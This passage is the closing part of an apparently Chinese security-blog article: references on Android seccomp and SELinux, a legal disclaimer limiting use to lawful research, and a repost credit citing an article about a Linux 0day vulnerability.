  8. Android seccomp说明:https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html
  9. Android SELinux说明:https://source.android.com/docs/security/features/selinux

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:软件安全与逆向分析 非虫 非虫《最近是怎么了?又一款通杀全线Linux发行版的0Day漏洞》

评论:0   参与:  0